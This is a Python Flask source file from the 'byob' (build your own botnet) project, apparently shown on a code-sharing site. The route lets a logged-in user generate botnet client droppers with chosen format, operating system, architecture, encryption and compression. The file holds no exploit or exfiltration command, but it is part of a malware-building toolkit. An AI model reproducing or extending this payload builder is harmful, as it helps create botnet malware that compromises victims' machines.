Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/api/payload/routes.py
2052 views
1
import os
2
import subprocess
3
from flask import Blueprint, request, redirect, url_for, flash
4
from flask_login import login_user, logout_user, current_user, login_required
5
from buildyourownbotnet import client
6
from buildyourownbotnet.core.dao import payload_dao
7
8
# Blueprint
9
payload = Blueprint('payload', __name__)
10
11
# Routes
12
@payload.route("/api/payload/generate", methods=["POST"])
13
@login_required
14
def payload_generate():
15
"""Generates custom client scripts."""
16
17
# required fields
18
payload_format = request.form.get('format')
19
operating_system = request.form.get('operating_system')
20
architecture = request.form.get('architecture')
21
22
# flash error message if user doesn't select a payload format
23
if not payload_format:
24
flash('Please select a payload format.', 'warning')
25
return redirect(url_for('main.payloads'))
26
27
# flash error message if user selects executable format without OS/arch
28
if 'exe' in payload_format and (operating_system is None or architecture is None):
29
flash('Please select an operating system and architecture to generate a binary executable.', 'warning')
30
return redirect(url_for('main.payloads'))
31
32
# optional fields
33
encrypt = request.form.get('encrypt') if 'encrypt' in request.form else 0
34
compress = request.form.get('compress') if 'compress' in request.form else 0
35
freeze = 0 if 'py' in payload_format else 1
36
37
if freeze and subprocess.check_call(['which','docker']) != 0:
38
flash('Error: Docker is not installed or is not configured properly.')
39
return redirect(url_for('payloads'))
40
41
# write dropper to user's output directory and return client creation page
42
options = {
43
'encrypt': encrypt,
44
'compress': compress,
45
'freeze': freeze,
46
'gui': 1,
47
'owner': current_user.username,
48
'operating_system': operating_system,
49
'architecture': architecture
50
}
51
52
try:
53
outfile = client.main('', '', '', '', '', '', **options)
54
55
# if pure python format, nullify os/arch before inserting record into database
56
operating_system = 'py' if 'py' in payload_format else operating_system
57
architecture = None if 'py' in payload_format else architecture
58
59
# add payload to database
60
payload_dao.add_user_payload(current_user.id, os.path.basename(outfile), operating_system, architecture)
61
flash('Successfully generated payload: ' + os.path.basename(outfile), 'success')
62
except Exception as e:
63
flash('Error: compilation timed out or failed. Please go to the Discord support server for help.')
64
print("Exception in api.routes.payload.payload_generate: " + str(e))
65
return redirect(url_for('main.payloads'))
66